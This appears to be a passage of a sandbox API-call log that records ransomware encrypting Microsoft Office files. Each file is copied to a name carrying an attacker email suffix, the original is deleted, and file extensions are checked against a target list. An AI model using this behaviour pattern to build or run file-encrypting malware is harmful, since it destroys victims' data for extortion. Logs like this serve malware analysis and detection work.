	[0264.521] ReadFile (in: hFile=0x2a4, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x21788, lpOverlapped=0x0) returned 1
	[0264.525] WriteFile (in: hFile=0x328, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x21790, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x21790, lpOverlapped=0x0) returned 1
	[0264.528] ReadFile (in: hFile=0x2a4, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.528] WriteFile (in: hFile=0x328, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0264.528] SetEndOfFile (hFile=0x328) returned 1
	[0264.528] CloseHandle (hObject=0x328) returned 1
	[0264.528] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.528] SetEndOfFile (hFile=0x2a4) returned 1
	[0264.532] CloseHandle (hObject=0x2a4) returned 1
	[0264.532] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.532] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vsl")) returned 1
	[0264.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59
	[0264.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59
	[0264.532] lstrlenW (lpString=".doc") returned 4
	[0264.532] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1
	[0264.532] lstrlenW (lpString=".docx") returned 5
	[0264.532] lstrcmpiW (lpString1=".docx", lpString2="T.VSL") returned -1
	[0264.532] lstrlenW (lpString=".pdf") returned 4
	[0264.532] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1
	[0264.532] lstrlenW (lpString=".xls") returned 4
	[0264.532] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1
	[0264.532] lstrlenW (lpString=".xlsx") returned 5
	[0264.532] lstrcmpiW (lpString1=".xlsx", lpString2="T.VSL") returned -1
	[0264.532] lstrlenW (lpString=".ppt") returned 4
	[0264.532] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1
	[0264.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59
	[0264.533] lstrlenW (lpString=".zip") returned 4
	[0264.533] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1
	[0264.533] lstrlenW (lpString=".rar") returned 4
	[0264.533] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1
	[0264.533] lstrlenW (lpString=".bz2") returned 4
	[0264.533] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1
	[0264.533] lstrlenW (lpString=".7z") returned 3
	[0264.533] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1
	[0264.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59
	[0264.533] lstrlenW (lpString=".dbf") returned 4
	[0264.533] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1
	[0264.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59
	[0264.533] lstrlenW (lpString=".1cd") returned 4
	[0264.533] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1
	[0264.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59
	[0264.533] lstrlenW (lpString=".jpg") returned 4
	[0264.533] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1
	[0264.534] GetFileSizeEx (in: hFile=0x2a4, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=6982504) returned 1
	[0264.534] CloseHandle (hObject=0x2a4) returned 1
	[0264.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll")) returned 0x20
	[0264.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.534] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0264.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60
	[0264.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60
	[0264.534] lstrlenW (lpString=".doc") returned 4
	[0264.534] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0264.535] lstrlenW (lpString=".docx") returned 5
	[0264.535] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1
	[0264.535] lstrlenW (lpString=".pdf") returned 4
	[0264.535] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0264.535] lstrlenW (lpString=".xls") returned 4
	[0264.535] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0264.535] lstrlenW (lpString=".xlsx") returned 5
	[0264.535] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1
	[0264.535] lstrlenW (lpString=".ppt") returned 4
	[0264.535] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0264.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60
	[0264.535] lstrlenW (lpString=".zip") returned 4
	[0264.535] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0264.535] lstrlenW (lpString=".rar") returned 4
	[0264.535] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0264.535] lstrlenW (lpString=".bz2") returned 4
	[0264.535] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0264.535] lstrlenW (lpString=".7z") returned 3
	[0264.535] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0264.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60
	[0264.535] lstrlenW (lpString=".dbf") returned 4
	[0264.535] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0264.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60
	[0264.535] lstrlenW (lpString=".1cd") returned 4
	[0264.535] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0264.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60
	[0264.535] lstrlenW (lpString=".jpg") returned 4
	[0264.535] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0264.536] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.536] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.idx_dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0264.536] GetLastError () returned 0x0
	[0264.536] ReadFile (in: hFile=0x2a4, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x10980, lpOverlapped=0x0) returned 1
	[0264.584] WriteFile (in: hFile=0x328, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x10990, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x10990, lpOverlapped=0x0) returned 1
	[0264.586] ReadFile (in: hFile=0x2a4, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.586] WriteFile (in: hFile=0x328, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xfc, lpOverlapped=0x0) returned 1
	[0264.586] SetEndOfFile (hFile=0x328) returned 1
	[0264.586] CloseHandle (hObject=0x328) returned 1
	[0264.586] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.586] SetEndOfFile (hFile=0x2a4) returned 1
	[0264.590] CloseHandle (hObject=0x2a4) returned 1
	[0264.590] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.590] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.idx_dll")) returned 1
	[0264.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68
	[0264.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68
	[0264.590] lstrlenW (lpString=".doc") returned 4
	[0264.591] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1
	[0264.591] lstrlenW (lpString=".docx") returned 5
	[0264.591] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1
	[0264.591] lstrlenW (lpString=".pdf") returned 4
	[0264.591] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1
	[0264.591] lstrlenW (lpString=".xls") returned 4
	[0264.591] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1
	[0264.591] lstrlenW (lpString=".xlsx") returned 5
	[0264.591] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1
	[0264.591] lstrlenW (lpString=".ppt") returned 4
	[0264.591] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1
	[0264.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68
	[0264.591] lstrlenW (lpString=".zip") returned 4
	[0264.591] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1
	[0264.591] lstrlenW (lpString=".rar") returned 4
	[0264.591] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1
	[0264.591] lstrlenW (lpString=".bz2") returned 4
	[0264.591] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1
	[0264.591] lstrlenW (lpString=".7z") returned 3
	[0264.591] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0264.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68
	[0264.591] lstrlenW (lpString=".dbf") returned 4
	[0264.591] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1
	[0264.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68
	[0264.591] lstrlenW (lpString=".1cd") returned 4
	[0264.591] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1
	[0264.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL") returned 68
	[0264.591] lstrlenW (lpString=".jpg") returned 4
	[0264.591] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1
	[0264.599] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.599] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.rest.idx_dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0264.600] GetLastError () returned 0x0
	[0264.600] ReadFile (in: hFile=0x358, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x2a780, lpOverlapped=0x0) returned 1
	[0264.606] WriteFile (in: hFile=0x2a4, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x2a790, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x2a790, lpOverlapped=0x0) returned 1
	[0264.610] ReadFile (in: hFile=0x358, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.610] WriteFile (in: hFile=0x2a4, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xfe, lpOverlapped=0x0) returned 1
	[0264.610] SetEndOfFile (hFile=0x2a4) returned 1
	[0264.610] CloseHandle (hObject=0x2a4) returned 1
	[0264.610] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.610] SetEndOfFile (hFile=0x358) returned 1
	[0264.616] CloseHandle (hObject=0x358) returned 1
	[0264.616] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.617] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.rest.idx_dll")) returned 1
	[0264.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69
	[0264.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69
	[0264.617] lstrlenW (lpString=".doc") returned 4
	[0264.617] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1
	[0264.617] lstrlenW (lpString=".docx") returned 5
	[0264.617] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1
	[0264.617] lstrlenW (lpString=".pdf") returned 4
	[0264.617] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1
	[0264.617] lstrlenW (lpString=".xls") returned 4
	[0264.617] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1
	[0264.617] lstrlenW (lpString=".xlsx") returned 5
	[0264.617] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1
	[0264.617] lstrlenW (lpString=".ppt") returned 4
	[0264.617] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1
	[0264.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69
	[0264.617] lstrlenW (lpString=".zip") returned 4
	[0264.617] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1
	[0264.617] lstrlenW (lpString=".rar") returned 4
	[0264.617] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1
	[0264.617] lstrlenW (lpString=".bz2") returned 4
	[0264.617] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1
	[0264.618] lstrlenW (lpString=".7z") returned 3
	[0264.618] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0264.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69
	[0264.618] lstrlenW (lpString=".dbf") returned 4
	[0264.618] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1
	[0264.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69
	[0264.618] lstrlenW (lpString=".1cd") returned 4
	[0264.618] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1
	[0264.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69
	[0264.618] lstrlenW (lpString=".jpg") returned 4
	[0264.618] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1
	[0264.643] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=48488) returned 1
	[0264.643] CloseHandle (hObject=0x218) returned 1
	[0264.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\savasweb.vsl")) returned 0x20
	[0264.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\savasweb.vsl.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\savasweb.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0264.644] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.644] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\savasweb.vsl.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0264.644] GetLastError () returned 0x0
	[0264.644] ReadFile (in: hFile=0x218, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0xbd68, lpOverlapped=0x0) returned 1
	[0264.666] WriteFile (in: hFile=0x28c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xbd70, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xbd70, lpOverlapped=0x0) returned 1
	[0264.667] ReadFile (in: hFile=0x218, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.667] WriteFile (in: hFile=0x28c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0264.667] SetEndOfFile (hFile=0x28c) returned 1
	[0264.667] CloseHandle (hObject=0x28c) returned 1
	[0264.667] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.667] SetEndOfFile (hFile=0x218) returned 1
	[0264.670] CloseHandle (hObject=0x218) returned 1
	[0264.670] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.670] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\savasweb.vsl")) returned 1
	[0264.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60
	[0264.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60
	[0264.671] lstrlenW (lpString=".doc") returned 4
	[0264.671] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1
	[0264.671] lstrlenW (lpString=".docx") returned 5
	[0264.671] lstrcmpiW (lpString1=".docx", lpString2="B.VSL") returned -1
	[0264.671] lstrlenW (lpString=".pdf") returned 4
	[0264.671] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1
	[0264.671] lstrlenW (lpString=".xls") returned 4
	[0264.671] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1
	[0264.671] lstrlenW (lpString=".xlsx") returned 5
	[0264.671] lstrcmpiW (lpString1=".xlsx", lpString2="B.VSL") returned -1
	[0264.671] lstrlenW (lpString=".ppt") returned 4
	[0264.671] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1
	[0264.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60
	[0264.671] lstrlenW (lpString=".zip") returned 4
	[0264.671] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1
	[0264.671] lstrlenW (lpString=".rar") returned 4
	[0264.671] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1
	[0264.671] lstrlenW (lpString=".bz2") returned 4
	[0264.671] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1
	[0264.671] lstrlenW (lpString=".7z") returned 3
	[0264.671] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1
	[0264.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60
	[0264.671] lstrlenW (lpString=".dbf") returned 4
	[0264.671] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1
	[0264.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60
	[0264.672] lstrlenW (lpString=".1cd") returned 4
	[0264.672] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1
	[0264.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60
	[0264.672] lstrlenW (lpString=".jpg") returned 4
	[0264.672] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1
	[0264.684] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=68984) returned 1
	[0264.684] CloseHandle (hObject=0x328) returned 1
	[0264.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll")) returned 0x20
	[0264.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0264.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57
	[0264.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57
	[0264.694] lstrlenW (lpString=".doc") returned 4
	[0264.694] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0264.694] lstrlenW (lpString=".docx") returned 5
	[0264.694] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1
	[0264.694] lstrlenW (lpString=".pdf") returned 4
	[0264.694] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0264.694] lstrlenW (lpString=".xls") returned 4
	[0264.694] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0264.694] lstrlenW (lpString=".xlsx") returned 5
	[0264.694] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1
	[0264.694] lstrlenW (lpString=".ppt") returned 4
	[0264.694] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0264.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57
	[0264.694] lstrlenW (lpString=".zip") returned 4
	[0264.694] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0264.695] lstrlenW (lpString=".rar") returned 4
	[0264.695] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0264.695] lstrlenW (lpString=".bz2") returned 4
	[0264.695] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0264.695] lstrlenW (lpString=".7z") returned 3
	[0264.695] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0264.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57
	[0264.695] lstrlenW (lpString=".dbf") returned 4
	[0264.695] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0264.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57
	[0264.695] lstrlenW (lpString=".1cd") returned 4
	[0264.695] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0264.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57
	[0264.695] lstrlenW (lpString=".jpg") returned 4
	[0264.695] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0264.697] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
